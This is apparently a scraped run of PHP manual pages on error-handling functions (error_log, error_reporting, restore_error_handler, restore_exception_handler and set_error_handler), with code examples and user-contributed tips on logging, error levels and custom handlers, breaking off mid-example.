This had me hunting for a while till I figured this out.  What ever folder you want your logs deposited to, don't create the log file yourself, let php do it for you.  For some reason, if the log file already exists and it's 0 KB, PHP will try to re-create the log file and fail in the process.  It never attempts to write to the pre-existing empty file, just fails on folder creation.  Might be do to the folder permissions I have on windows, but this is what I found with read/write/modify permissions for IIS_IUSRS on Win2008.  Once PHP has written to its self-created file successfully, it will append to the file on new errors.  Process Monitor is my friend :)
daniel dot fukuda at gmail dot com 01-Sep-2009 02:42
If you have a problem with log file permission *silently*
it's best to leave error_log directive unset so errors will be written in your Apache log file for current VirtualHost.
Anonymous 26-Aug-2009 07:22
After scouring the internet for getting event logging to
work in syslog on Windows 2003, I found the following
from this post and was able to successfully get Windows
Event Viewer to log PHP errors/notices:

http://forums.iis.net/p/1159662/1912015.aspx#1913338

   1. Copy the PHP 5 binaries to "C:\php".
   2. Right-click My Computer and select Properties to bring
up the Computer Properties dialog. Switch to the Advanced
tab and click Environment Variables. Find the system
environment variable PATH, edit it and add ";C:\php"
(without the quotes) to the end.
   3. Make sure that the configuration file "php.ini" resides
in the directory "C:\php" and contains the correct path
settings.
   4. DELETE any old "php.ini" files from "C:\WINDOWS"
and other directories.
   5. Open REGEDIT, navigate to the key
"HKLM\SOFTWARE\PHP" and DELETE the string value
"IniFilePath" from there. It is outdated and no longer
necessary!
   6. Modify NTFS security permissions of the directory
"C:\php" to give Read and Execute permissions to (1) the
IIS Guest Account and (2) the group IIS_WPG.
   7. Modify NTFS security permissions of the directories
"C:\php\session" and "C:\php\upload" to give additional
Modify permissions to (1) the IIS Guest Account and (2)
the group IIS_WPG.
   8. Navigate to the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog
\Application" and edit the value "CustomSD" there. Find
the substring "(D;;0xf0007;;;BG)" which Denies access to
the application event log for Builtin Guest accounts (like
the IIS Web User account) and replace this substring with
"(A;;0x3;;;BG)" which allows read and write access. Please
pay attention to leave the rest of the security string intact.
Damaging this value can have dangerous effects!
   9. Create or update the registry key
"HKLM\SYSTEM\CurrentControlSet\Services\Eventlog\Application\
PHP-5.2.0" (adapt the last to your version part
if necessary) with the following values:

          * "EventMessageFile" (REG_EXPAND_SZ) = "C:\php\php5ts.dll"

          * "TypesSupported" (REG_DWORD) = 7
m308 16-Nov-2008 05:20
If you are trying to capture PHP errors to a text file on IIS ensure that two things are set.

1) Only one error log option is set. IE:

; Log errors to specified file.
error_log = "c:\php\errorlog.txt"

; Log errors to syslog (Event Log on NT, not valid in Windows 95).
;error_log = syslog

2) The IUSR account has write and modify permissions to e rrorlog.txt .
eguvenc at gmail dot com 28-Oct-2008 05:03
<?php
//Multiline error log class
// ersin güvenç 2008 eguvenc@gmail.com
//For break use "\n" instead '\n'

Class log {
  //
  const USER_ERROR_DIR = '/home/site/error_log/Site_User_errors.log';
  const GENERAL_ERROR_DIR = '/home/site/error_log/Site_General_errors.log';

  /*
   User Errors...
  */
    public function user($msg,$username)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."  |  User:  ".$username."\n";
    error_log($log, 3, self::USER_ERROR_DIR);
    }
    /*
   General Errors...
  */
    public function general($msg)
    {
    $date = date('d.m.Y h:i:s');
    $log = $msg."   |  Date:  ".$date."\n";
    error_log($msg."   |  Tarih:  ".$date, 3, self::GENERAL_ERROR_DIR);
    }

}

$log = new log();
$log->user($msg,$username); //use for user errors
//$log->general($msg); //use for general errors
?>
paul dot chubb at abs dot gov dot au 17-Jun-2008 07:37
When logging to apache on windows, both error_log and also trigger_error result in an apache status of error on the front of the message. This is bad if all you want to do is log information. However you can simply log to stderr however you will have to do all message assembly:

LogToApache($Message) {
        $stderr = fopen('php://stderr', 'w');
        fwrite($stderr,$Message);
        fclose($stderr);
}
i dot buttinoni at intandtel dot com 16-Feb-2008 12:32
Be carefull. Unexpected PHP dies when 2GByte of file log reached (on systems having upper file size limit).
A work aorund is rotate logs :)
SJL 01-Jan-2008 03:16
"It appears that the system log = stderr if you are running PHP from the command line"

Actually, it seems that PHP logs to stderr if it can't write to the log file. Command line PHP falls back to stderr because the log file is (usually) only writable by the webserver.
larry.kooper at gmail dot com 12-Oct-2007 12:00
On a Mac running OS X, for the error logging to work I needed to put this in my php.ini:
error_log = /tmp/php_errors.log
Attempting to put the log in other locations did not work, probably due to permission issues.
stepheneliotdewey at GmailDotCom 27-Jun-2007 03:05
Note that since typical email is unencrypted, sending data about your errors over email using this function could be considered a security risk. How much of a risk it is depends on how much and what type of information you are sending, but the mere act of sending an email when something happens (even if it cannot be read) could itself imply to a sophisticated hacker observing your site over time that they have managed to cause an error.

Of course, security through obscurity is the weakest kind of security, as most open source supporters will agree. This is just something that you should keep in mind.

And of course, whatever you do, make sure that such emails don't contain sensitive user data.
frank at booksku dot com 03-Nov-2006 12:28
Beware!  If multiple scripts share the same log file, but run as different users, whichever script logs an error first owns the file, and calls to error_log() run as a different user will fail *silently*!

Nothing more frustrating than trying to figure out why all your error_log calls aren't actually writing, than to find it was due to a *silent* permission denied error!
p dot lhonorey at nospam-laposte dot net 28-Aug-2006 12:33
Hi !

Another trick to post "HTML" mail body. Just add "Content-Type: text/html; charset=ISO-8859-1" into extra_header string. Of course you can set charset according to your country or Env or content.

EG: Error_log("<html><h2>stuff</h2></html>",1,"eat@joe.com","subject  :lunch\nContent-Type: text/html; charset=ISO-8859-1");

Enjoy !
marques at displague dot com 26-Aug-2005 10:52
Beware the size of your custom error_log!

Once it exceeds 2GB the function errors, ending your script at the error_log() line.  I'm sure this differs from OS to OS, but I have seen it die writing to ext2 under modern Linux systems.
php at kennel17 dot NOSPAM dot co dot uk 25-Jul-2005 11:04
It appears that the system log = stderr if you are running PHP from the command line, and that often stderr = stdout.  This means that if you are using a custom error to both display the error and log it to syslog, then a command-line user will see the same error reported twice.
kazezb at nospam dot carleton dot edu 21-Jul-2005 07:39
It appears that error_log() only logs the first line of multi-line log messages. To log a multi-line message, either log each line individually or write the message to another file.
franz at fholzinger dot com 20-Apr-2005 06:21
In the case of missing your entries in the error_log file:
When you use error_log in a script that does not produce any output, which means that you cannot see anything during the execution of the script, and when you wonder why there are no error_log entries produced in your error_log file, the reasons can be:
- you did not configure error_log output in php.ini
- the script has a syntax error and did therefore not execute
28-Mar-2003 11:14
when using error_log to send email, not all elements of an extra_headers string are handled the same way.  "From: " and "Reply-To: " header values will replace the default header values. "Subject: " header values won't: they are *added* to the mail header but don't replace the default, leading to mail messages with two Subject fields.

<?php

error_log("sometext", 1, "zigzag@my.domain",
  "Subject: Foo\nFrom: Rizzlas@my.domain\n");

?>

---------------%<-----------------------
To: zigzag@my.domain
Envelope-to: zigzag@my.domain
Date: Fri, 28 Mar 2003 13:29:02 -0500
From: Rizzlas@my.domain
Subject: PHP error_log message
Subject: Foo
Delivery-date: Fri, 28 Mar 2003 13:29:03 -0500

sometext
---------------%<---------------------

quoth the docs: "This message type uses the same internal function as mail() does."

mail() will also fail to set a Subject field based on extra_header data - instead it takes a seperate argument to specify a "Subject: " string.

php v.4.2.3, SunOS 5.8


Sets which PHP errors are reported

  • « error_log
  • restore_error_handler »
  • PHP Manual
  • Error Handling Functions
  • Sets which PHP errors are reported

error_reporting

(PHP 4, PHP 5)

error_reporting — Sets which PHP errors are reported

Description

int error_reporting ([ int $level ] )

The error_reporting() function sets the error_reporting directive at runtime. PHP has many levels of errors, using this function sets that level for the duration (runtime) of your script. If the optional level is not set, error_reporting() will just return the current error reporting level.

Parameters

level

The new error_reporting level. It takes on either a bitmask, or named constants. Using named constants is strongly encouraged to ensure compatibility for future versions. As error levels are added, the range of integers increases, so older integer-based error levels will not always behave as expected.

The available error level constants and the actual meanings of these error levels are described in the predefined constants.

Return Values

Returns the old error_reporting level or the current level if no level parameter is given.

Changelog

Version | Description
5.4.0 | E_STRICT became part of E_ALL.
5.3.0 | E_DEPRECATED and E_USER_DEPRECATED introduced.
5.2.0 | E_RECOVERABLE_ERROR introduced.
5.0.0 | E_STRICT introduced (not part of E_ALL).

Examples

Example #1 error_reporting() examples

<?php

// Turn off all error reporting
error_reporting(0);

// Report simple running errors
error_reporting(E_ERROR | E_WARNING | E_PARSE);

// Reporting E_NOTICE can be good too (to report uninitialized
// variables or catch variable name misspellings ...)
error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);

// Report all errors except E_NOTICE
error_reporting(E_ALL & ~E_NOTICE);

// Report all PHP errors (see changelog)
error_reporting(E_ALL);

// Report all PHP errors
error_reporting(-1);

// Same as error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);

?>

Notes

Warning

Most of E_STRICT errors are evaluated at the compile time thus such errors are not reported in the file where error_reporting is enhanced to include E_STRICT errors (and vice versa).

Tip

Passing in the value -1 will show every possible error, even when new levels and constants are added in future PHP versions. The E_ALL constant also behaves this way as of PHP 5.4.

See Also

  • The display_errors directive
  • The html_errors directive
  • The xmlrpc_errors directive
  • ini_set() - Sets the value of a configuration option

User Contributed Notes

Marc17 07-Jan-2014 06:30
To not display the E_DEPRECATED errors (for example) without changing the rest of the configuration :
error_reporting(error_reporting() & (-1 ^ E_DEPRECATED));
polecat1 14-Dec-2013 01:01
Most of you know that a script can give different results online compared to your local machine (PHP versions, settings). Nobody wants to see an error message on your online website, like "Access denied for user 'YOURUSERNAME'@'localhost' (using password: YOURPASSWORD)". But sometimes we do need this information on our online site for debugging. Here's a little trick.
On your local machine for your own browser create a cookie, something like:
setcookie ("your-website.com-testing", "1", time()+60*60*24*300);
Then in all your pages (or in includes) add the following line:
if (!isset($_COOKIE["your-website.com-testing"])) {
    error_reporting(0);
}
This way errors will be reported ONLY when the page is displayed in YOUR browser.
forcemdt 01-Oct-2013 04:56
Php >5.4

Creating a Custom Error Handler

set_error_handler("customError",E_ALL);
function customError($errno, $errstr)
  {
  echo "<b>Error:</b> [$errno] $errstr<br>";
  echo "Ending Script";
  die();
  }
teynon1 at gmail dot com 10-Feb-2012 05:50
It might be a good idea to include E_COMPILE_ERROR in error_reporting.

If you have a customer error handler that does not output warnings, you may get a white screen of death if a "require" fails.

Example:
<?php
  error_reporting(E_ERROR | E_WARNING | E_PARSE);

  function myErrorHandler($errno, $errstr, $errfile, $errline) {
    // Do something other than output message.
    return true;
  }

  $old_error_handler = set_error_handler("myErrorHandler");

  require "this file does not exist";
?>

To prevent this, simply include E_COMPILE_ERROR in the error_reporting.

<?php
  error_reporting(E_ERROR | E_WARNING | E_PARSE | E_COMPILE_ERROR);
?>
ywarnier at beeznest dot org 04-Aug-2011 05:56
Setting error_reporting in your VirtualHost has to be done through a numerical value which is the result of the options you choose summed up from the values of these options, as defined on the constants page for the error management functions: http://www.php.net/manual/en/errorfunc.constants.php

As a result, E_ALL & ~E_NOTICE would be set this way (this automatically excludes E_DEPRECATED AND E_USER_DEPRECATED):

  php_value error_reporting 6135

whereas E_ALL (excluding the deprecated levels) would be set this way:

  php_value error_reporting 6143

The difference between those two values is 8, which is the value of the constant for E_NOTICE.
rojaro at gmail dot com 06-Dec-2010 11:55
To enable error reporting for *ALL* error messages including every error level (including E_STRICT, E_NOTICE etc.), simply use:

<?php error_reporting(-1); ?>
keithm at aoeex dot com 14-Jun-2010 07:23
Some E_STRICT errors seem to be thrown during the page's compilation process.  This means they cannot be disabled by dynamically altering the error level at run time within that page.

The work-around for this was to rename the file and replace the original with a error_reporting() call and then a require() call.

Ex, rename index.php to index.inc.php, then re-create index.php as:

<?php
error_reporting(E_ALL & ~(E_STRICT|E_NOTICE));
require('index.inc.php');
?>

That allows you to alter the error reporting prior to the file being compiled.

I discovered this recently when I was given code from another development firm that triggered several E_STRICT errors and I wanted to disable E_STRICT on a per-page basis.
roberto at spadim dot com dot br 29-Jan-2010 10:00
see more information about php 5.3 deprecated errors

http://php.net/manual/en/migration53.deprecated.php
misplacedme at gmail dot com 09-Jun-2009 11:25
I always code with E_ALL set.
After a couple of pages of
<?php
$username = (isset($_POST['username']) && !empty($_POST['username']))....
?>

I made this function to make things a little bit quicker.  Unset values passed by reference won't trigger a notice.

<?php
function test_ref(&$var,$test_function='',$negate=false) {
    $stat = true;
    if(!isset($var)) $stat = false;
    if (!empty($test_function) && function_exists($test_function)){
        $stat = $test_function($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif($test_function == 'empty') {
        $stat = empty($var);
        $stat = ($negate) ? $stat^1 : $stat;
    }
    elseif (!function_exists($test_function)) {
        $stat = false;
        trigger_error("$test_function() is not a valid function");
    }
    $stat = ($stat) ? true : false;
    return $stat;
}
$a = '';
$b = '15';

test_ref($a,'empty',true);  //False
test_ref($a,'is_int');  //False
test_ref($a,'is_numeric');  //False
test_ref($b,'empty',true);  //true
test_ref($b,'is_int');  //False
test_ref($b,'is_numeric');  //false
test_ref($unset,'is_numeric');  //false
test_ref($b,'is_number');  //returns false, with an error.
?>
ecervetti at orupaca dot fr 25-Mar-2009 10:54
It could save two minutes to someone:
E_ALL & ~E_NOTICE  integer value is 6135
Daz Williams (The Northeast) 18-Feb-2009 03:03
Only display php errors to the developer...

<?php
if($_SERVER['REMOTE_ADDR']=="00.00.00.00")
{
  ini_set('display_errors','On');
}
else
{
  ini_set('display_errors','Off');
}
?>

Just replace 00.00.00.00 with your ip address.
info at hephoz dot de 14-Aug-2008 03:34
If you just see a blank page instead of an error reporting and you have no server access so you can't edit php configuration files like php.ini try this:

- create a new file in which you include the faulty script:

<?php
 error_reporting(E_ALL);
 ini_set("display_errors", 1);
 include("file_with_errors.php");
?>

- execute this file instead of the faulty script file

now errors of your faulty script should be reported.
this works fine with me. hope it solves your problem as well!
kc8yds at gmail dot com 10-Aug-2008 08:45
this is to show all errors for code that may be run on different versions

for php 5 it shows E_ALL^E_STRICT and for other versions just E_ALL

if anyone sees any problems with it please correct this post

<?php
ini_set('error_reporting', version_compare(PHP_VERSION,5,'>=') && version_compare(PHP_VERSION,6,'<') ?E_ALL^E_STRICT:E_ALL);
?>
derek at darkcolors dot com 27-May-2008 10:12
I had the problem that if there was an error, php would just give me a blank page.  Any error at all forced a blank page instead of any output whatsoever, even though I made sure that I had error_reporting set to E_ALL, display_errors turned on, etc etc.  But simply running the file in a different directory allowed it to show errors!

Turns out that the error_log file in the one directory was full (2.0 Gb).  I erased the file and now errors are displayed normally.  It might also help to turn error logging off.
antickon AT gmail.com 04-Apr-2007 02:21
regarding what vdephily at bluemetrix dot com said ( see http://be.php.net/manual/en/function.error-reporting.php#50228 )

<?php
echo $foobar->field;
?>

also initializes $foobar (as an instance of stdClass), so this code will not cause any notices.
Alex 19-Jan-2007 12:43
error_reporting() may give unexpected results if the @ error suppression directive is used.

<?php
 @include 'config.php';
 include 'foo.bar';        // non-existent file
?>

config.php
<?php
 error_reporting(0);
?>

will throw an error level E_WARNING in relation to the non-existent file (depending of course on your configuration settings).  If the suppressor is removed, this works as expected.

Alternatively using ini_set('display_errors', 0) in config.php will achieve the same result.  This is contrary to the note above which says that the two instructions are equivalent.
silvan at NOSPAM dot example dot com 04-Oct-2006 03:38
On a shared debugging and production server it is convenient to use
<?php error_reporting(E_ALL); ?>
for debugging.

This will not help in case of parsing errors, so make sure you enable at least E_PARSE in your php.ini. Parse errors should not exist in production scripts.

Still, sometimes your script will not get executed even though no parse error is displayed (just a blank page/ no output at all). As far as I know this only happens when you redeclare a user function or class.

eg.
<?php
error_reporting(E_ALL);

function a(){}
function a(){}
?>

This prevents your script from running like a parse error, but is in fact a fatal run-time error (E_ERROR). Other fatal run-time errors will allow your script to apply the error_reporting, when it is executed before the
error occurs (eg. put error_reporting on the first line of code.)
Chris 09-May-2006 10:32
I found some simple mistakes in the functions I posted yesterday, so here are the corrected versions.
And a good advice: never code in the middle of the night ;)

<?php
function error2string($value)
{
    $level_names = array(
        E_ERROR => 'E_ERROR', E_WARNING => 'E_WARNING',
        E_PARSE => 'E_PARSE', E_NOTICE => 'E_NOTICE',
        E_CORE_ERROR => 'E_CORE_ERROR', E_CORE_WARNING => 'E_CORE_WARNING',
        E_COMPILE_ERROR => 'E_COMPILE_ERROR', E_COMPILE_WARNING => 'E_COMPILE_WARNING',
        E_USER_ERROR => 'E_USER_ERROR', E_USER_WARNING => 'E_USER_WARNING',
        E_USER_NOTICE => 'E_USER_NOTICE' );
    if(defined('E_STRICT')) $level_names[E_STRICT]='E_STRICT';
    $levels=array();
    if(($value&E_ALL)==E_ALL)
    {
        $levels[]='E_ALL';
        $value&=~E_ALL;
    }
    foreach($level_names as $level=>$name)
        if(($value&$level)==$level) $levels[]=$name;
    return implode(' | ',$levels);
}
?>

<?php
function string2error($string)
{
    $level_names = array( 'E_ERROR', 'E_WARNING', 'E_PARSE', 'E_NOTICE',
        'E_CORE_ERROR', 'E_CORE_WARNING', 'E_COMPILE_ERROR', 'E_COMPILE_WARNING',
        'E_USER_ERROR', 'E_USER_WARNING', 'E_USER_NOTICE', 'E_ALL' );
    if(defined('E_STRICT')) $level_names[]='E_STRICT';
    $value=0;
    $levels=explode('|',$string);
    foreach($levels as $level)
    {
        $level=trim($level);
        if(defined($level)) $value|=(int)constant($level);
    }
    return $value;
}
?>
dave at davidhbrown dot us 06-Apr-2006 05:51
The example of E_ALL ^ E_NOTICE is a 'bit' confusing for those of us not wholly conversant with bitwise operators.

If you wish to remove notices from the current level, whatever that unknown level might be, use & ~ instead:

<?php
//....
$errorlevel=error_reporting();
error_reporting($errorlevel & ~E_NOTICE);
//...code that generates notices
error_reporting($errorlevel);
//...
?>

^ is the xor (bit flipping) operator and would actually turn notices *on* if they were previously off (in the error level on its left). It works in the example because E_ALL is guaranteed to have the bit for E_NOTICE set, so when ^ flips that bit, it is in fact turned off. & ~ (and not) will always turn off the bits specified by the right-hand parameter, whether or not they were on or off.
DarkGool 19-Aug-2005 07:30
In phpinfo() error reporting level display like a bit (such as 4095)

Maybe it is a simply method to understand what a level set on your host
if you are not have access to php.ini file

<?php
$bit = ini_get('error_reporting');
while ($bit > 0) {
    for($i = 0, $n = 0; $i <= $bit; $i = 1 * pow(2, $n), $n++) {
        $end = $i;
    }
    $res[] = $end;
    $bit = $bit - $end;
}
?>

In $res you will have all constants of error reporting
$res[]=int(16) // E_CORE_ERROR
$res[]=int(8)    // E_NOTICE
...
fredrik at demomusic dot nu 23-Jul-2005 01:24
Remember that the error_reporting value is an integer, not a string ie "E_ALL & ~E_NOTICE".

This is very useful to remember when setting error_reporting levels in httpd.conf:

Use the table above or:

<?php
ini_set("error_reporting", E_YOUR_ERROR_LEVEL);
echo ini_get("error_reporting");
?>

To get the appropriate integer for your error-level. Then use:

php_admin_value error_reporting YOUR_INT

in httpd.conf

I want to share this rather straightforward tip as it is rather annoying for new php users trying to understand why things are not working when the error-level is set to (int) "E_ALL" = 0...

Maybe the PHP-developers should make ie error_reporting("E_ALL"); output a E_NOTICE informative message about the mistake?
phpfanat at yandex dot ru 22-Feb-2005 06:03
If you get a weird mysql warnings like "Warning: mysql_query() [http://www.mysql.com/doc]: Your query requires a full tablescan...", don't look for error_reporting settings - it's set in php.ini.
You can turn it off with
ini_set("mysql.trace_mode","Off");
in your script

And, as of my opinion, it should be NOTICE, not WARNING level.
vdephily at bluemetrix dot com 22-Feb-2005 12:40
Note that E_NOTICE will warn you about uninitialized variables, but assigning a key/value pair counts as initialization, and will not trigger any error :
<?php
error_reporting(E_ALL);

$foo = $bar; //notice : $bar uninitialized

$bar['foo'] = 'hello'; // no notice, although $bar itself has never been initialized (with "$bar = array()" for example)

$bar = array('foobar' => 'barfoo');
$foo = $bar['foobar'] // ok

$foo = $bar['nope'] // notice : no such index
?>
Fernando Piancastelli 13-Dec-2004 10:23
The error_reporting() function won't be effective if your display_errors directive in php.ini is set to "Off", regardless of level reporting you set. I had to set

display_errors = On
error_reporting = ~E_ALL

to keep no error reporting as default, but be able to change error reporting level in my scripts.
I'm using PHP 4.3.9 and Apache 2.0.
ferozzahid [at] usa [dot] com 08-Sep-2004 01:31
To be enable to switch between error_reporting during development and release phases, one can define say 'php_error_reporting' in the main configuration file (ini like file: no PHP) for the application as:

# config.ini
# PHP error reporting. supported values are given below.
# 0 - Turn off all error reporting
# 1 - Running errors
# 2 - Running errors + notices
# 3 - All errors except notices and warnings
# 4 - All errors except notices
# 5 - All errors

php_error_reporting=4

# config.ini ends

Setting error_reporting in PHP files would be something like the code below, assuming the function getinivar() returns the variable value from the configuration file.

<?php
// setting PHP error reporting
switch(getinivar('php_error_reporting')) {
case 0: error_reporting(0); break;
case 1: error_reporting(E_ERROR | E_WARNING | E_PARSE); break;
case 2: error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE); break;
case 3: error_reporting(E_ALL ^ (E_NOTICE | E_WARNING)); break;
case 4: error_reporting(E_ALL ^ E_NOTICE); break;
case 5: error_reporting(E_ALL); break;
default:
    error_reporting(E_ALL);
}
?>

Feroz Zahid.
j dot schriver at vindiou dot com 03-Oct-2000 08:37
error_reporting() has no effect if you have defined your own error handler with set_error_handler()

[Editor's Note: This is not quite accurate.

E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR and E_COMPILE_WARNING error levels will be handled as per the error_reporting settings.

All other levels of errors will be passed to the custom error handler defined by set_error_handler().

Zeev Suraski suggests that a simple way to use the defined levels of error reporting with your custom error handlers is to add the following line to the top of your error handling function:

if (!($type & error_reporting())) return;

 -zak@php.net]
webmaster at l-i-e dot com 21-May-1999 11:13
[Editor's Note: E_ALL will contain the result of OR'ing all of the applicable error constants together. For PHP 3, this will be the first 4 E_xxx constants.  For PHP 4, this will be all constants. ]

There is also an E_ALL which is the first 4 E_xxx added up for you...


Restores the previous error handler function

  • « error_reporting
  • restore_exception_handler »
  • PHP Manual
  • Error Handling Functions
  • Restores the previous error handler function

restore_error_handler

(PHP 4 >= 4.0.1, PHP 5)

restore_error_handler — Restores the previous error handler function

Description

bool restore_error_handler ( void )

Used after changing the error handler function using set_error_handler(), to revert to the previous error handler (which could be the built-in or a user defined function).

Return Values

This function always returns TRUE.

Examples

Example #1 restore_error_handler() example

Decide if unserialize() caused an error, then restore the original error handler.

<?php
function unserialize_handler($errno, $errstr)
{
    echo "Invalid serialized value.\n";
}

$serialized = 'foo';
set_error_handler('unserialize_handler');
$original = unserialize($serialized);
restore_error_handler();
?>

The above example will output:

Invalid serialized value.

See Also

  • error_reporting() - Sets which PHP errors are reported
  • set_error_handler() - Sets a user-defined error handler function
  • restore_exception_handler() - Restores the previously defined exception handler function
  • trigger_error() - Generates a user-level error/warning/notice message

User Contributed Notes

edgarinvillegas at hotmail dot com 28-Mar-2008 05:21
Isolde is kind of wrong. The error handlers are stacked with set_error_handler(), and popped with restore_error_handler(). Here i put an example:

<?php
    mysql_connect("inexistent"); //Generate an error. The actual error handler is set by default

    function foo1() {echo "<br>Error foo1<br>";}
    function foo2() {echo "<br>Error foo2<br>";}
    function foo3() {echo "<br>Error foo3<br>";}

    set_error_handler("foo1");    //current error handler: foo1
    set_error_handler("foo2");    //current error handler: foo2
    set_error_handler("foo3");    //current error handler: foo3

    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo2
    mysql_connect("inexistent");
    restore_error_handler();        //now, current error handler: foo1
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler
    mysql_connect("inexistent");
    restore_error_handler();        //now current error handler: default handler (The stack can't pop more)
?>
lsole at maresme dot net 14-Mar-2004 08:57
As the docs say, restore_error_handler() revert to the *previous error handler*... even if it is the same. A bug made me set twice my custom error handler and later when I was calling restore_error_handler() to restore the built-in handler nothing seemed to happen... this puzzled me for a while!


Restores the previously defined exception handler function

  • « restore_error_handler
  • set_error_handler »
  • PHP Manual
  • Error Handling Functions
  • Restores the previously defined exception handler function

restore_exception_handler

(PHP 5)

restore_exception_handler — Restores the previously defined exception handler function

Description

bool restore_exception_handler ( void )

Used after changing the exception handler function using set_exception_handler(), to revert to the previous exception handler (which could be the built-in or a user defined function).

Return Values

This function always returns TRUE.

Examples

Example #1 restore_exception_handler() example

<?php
    function exception_handler_1(Exception $e)
    {
        echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
    }

    function exception_handler_2(Exception $e)
    {
        echo '[' . __FUNCTION__ . '] ' . $e->getMessage();
    }

    set_exception_handler('exception_handler_1');
    set_exception_handler('exception_handler_2');

    restore_exception_handler();

    throw new Exception('This triggers the first exception handler...');
?>

The above example will output:

[exception_handler_1] This triggers the first exception handler...

See Also

  • set_exception_handler() - Sets a user-defined exception handler function
  • set_error_handler() - Sets a user-defined error handler function
  • restore_error_handler() - Restores the previous error handler function
  • error_reporting() - Sets which PHP errors are reported

User Contributed Notes

rl7 at shinyblue dot net 24-Feb-2014 07:57
Note that this does not work within an exception handler.

e.g.

<?php

function handler1(Exception $e) {
    echo "handler1\n";
    restore_exception_handler();
    throw $e;
}
function handler2(Exception $e) {
    echo "handler2\n";
}

set_exception_handler( 'handler2' );
set_exception_handler( 'handler1' );

throw new Exception( 'might expect to see handler1, handler2' );

/* Outputs:
handler1
PHP Fatal error:  Uncaught exception 'Exception' with message 'might expect to see handler1, handler2' in /tmp/demo.php:15
Stack trace:
#0 {main}
  thrown in /tmp/demo.php on line 15
*/

?>


Sets a user-defined error handler function

  • « restore_exception_handler
  • set_exception_handler »
  • PHP Manual
  • Error Handling Functions
  • Sets a user-defined error handler function

set_error_handler

(PHP 4 >= 4.0.1, PHP 5)

set_error_handler — Sets a user-defined error handler function

Description

mixed set_error_handler ( callable $error_handler [, int $error_types = E_ALL | E_STRICT ] )

Sets a user function (error_handler) to handle errors in a script.

This function can be used for defining your own way of handling errors during runtime, for example in applications in which you need to do cleanup of data/files when a critical error happens, or when you need to trigger an error under certain conditions (using trigger_error()).

It is important to remember that the standard PHP error handler is completely bypassed for the error types specified by error_types unless the callback function returns FALSE. error_reporting() settings will have no effect and your error handler will be called regardless - however you are still able to read the current value of error_reporting and act appropriately. Of particular note is that this value will be 0 if the statement that caused the error was prepended by the @ error-control operator.

Also note that it is your responsibility to die() if necessary. If the error-handler function returns, script execution will continue with the next statement after the one that caused an error.

The following error types cannot be handled with a user defined function: E_ERROR, E_PARSE, E_CORE_ERROR, E_CORE_WARNING, E_COMPILE_ERROR, E_COMPILE_WARNING, and most of E_STRICT raised in the file where set_error_handler() is called.

If errors occur before the script is executed (e.g. on file uploads) the custom error handler cannot be called since it is not registered at that time.

Parameters

error_handler

A callback with the following signature. NULL may be passed instead, to reset this handler to its default state. Instead of a function name, an array containing an object reference and a method name can also be supplied.

bool handler ( int $errno , string $errstr [, string $errfile [, int $errline [, array $errcontext ]]] )
errno
The first parameter, errno, contains the level of the error raised, as an integer.
errstr
The second parameter, errstr, contains the error message, as a string.
errfile
The third parameter is optional, errfile, which contains the filename that the error was raised in, as a string.
errline
The fourth parameter is optional, errline, which contains the line number the error was raised at, as an integer.
errcontext
The fifth parameter is optional, errcontext, which is an array that points to the active symbol table at the point the error occurred. In other words, errcontext will contain an array of every variable that existed in the scope the error was triggered in. User error handler must not modify error context.

If the function returns FALSE then the normal error handler continues.

error_types

Can be used to mask the triggering of the error_handler function just like the error_reporting ini setting controls which errors are shown. Without this mask set the error_handler will be called for every error regardless to the setting of the error_reporting setting.

Return Values

Returns a string containing the previously defined error handler (if any). If the built-in error handler is used NULL is returned. NULL is also returned in case of an error such as an invalid callback. If the previous error handler was a class method, this function will return an indexed array with the class and the method name.

Changelog

Version | Description
5.5.0 | error_handler now accepts NULL.
5.2.0 | The error handler must return FALSE to populate $php_errormsg.

Examples

Example #1 Error handling with set_error_handler() and trigger_error()

The example below shows the handling of internal exceptions by triggering errors and handling them with a user defined function:

<?php
// error handler function
function myErrorHandler($errno, $errstr, $errfile, $errline)
{
    if (!(error_reporting() & $errno)) {
        // This error code is not included in error_reporting
        return;
    }

    switch ($errno) {
    case E_USER_ERROR:
        echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
        echo "  Fatal error on line $errline in file $errfile";
        echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
        echo "Aborting...<br />\n";
        exit(1);
        break;

    case E_USER_WARNING:
        echo "<b>My WARNING</b> [$errno] $errstr<br />\n";
        break;

    case E_USER_NOTICE:
        echo "<b>My NOTICE</b> [$errno] $errstr<br />\n";
        break;

    default:
        echo "Unknown error type: [$errno] $errstr<br />\n";
        break;
    }

    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling
function scale_by_log($vect, $scale)
{
    if (!is_numeric($scale) || $scale <= 0) {
        trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale", E_USER_ERROR);
    }

    if (!is_array($vect)) {
        trigger_error("Incorrect input vector, array of values expected", E_USER_WARNING);
        return null;
    }

    $temp = array();
    foreach($vect as $pos => $value) {
        if (!is_numeric($value)) {
            trigger_error("Value at position $pos is not a number, using 0 (zero)", E_USER_NOTICE);
            $value = 0;
        }
        $temp[$pos] = log($scale) * $value;
    }

    return $temp;
}

// set to the user defined error handler
$old_error_handler = set_error_handler("myErrorHandler");

// trigger some errors, first define a mixed array with a non-numeric item
echo "vector a\n";
$a = array(2, 3, "foo", 5.5, 43.3, 21.11);
print_r($a);

// now generate second array
echo "----\nvector b - a notice (b = log(PI) * a)\n";
/* Value at position $pos is not a number, using 0 (zero) */
$b = scale_by_log($a, M_PI);
print_r($b);

// this is trouble, we pass a string instead of an array
echo "----\nvector c - a warning\n";
/* Incorrect input vector, array of values expected */
$c = scale_by_log("not array", 2.3);
var_dump($c); // NULL

// this is a critical error, log of zero or negative number is undefined
echo "----\nvector d - fatal error\n";
/* log(x) for x <= 0 is undefined, you used: scale = $scale" */
$d = scale_by_log($a, -2.5);
var_dump($d); // Never reached
?>

The above example will output something similar to:

vector a
Array
(
    [0] => 2
    [1] => 3
    [2] => foo
    [3] => 5.5
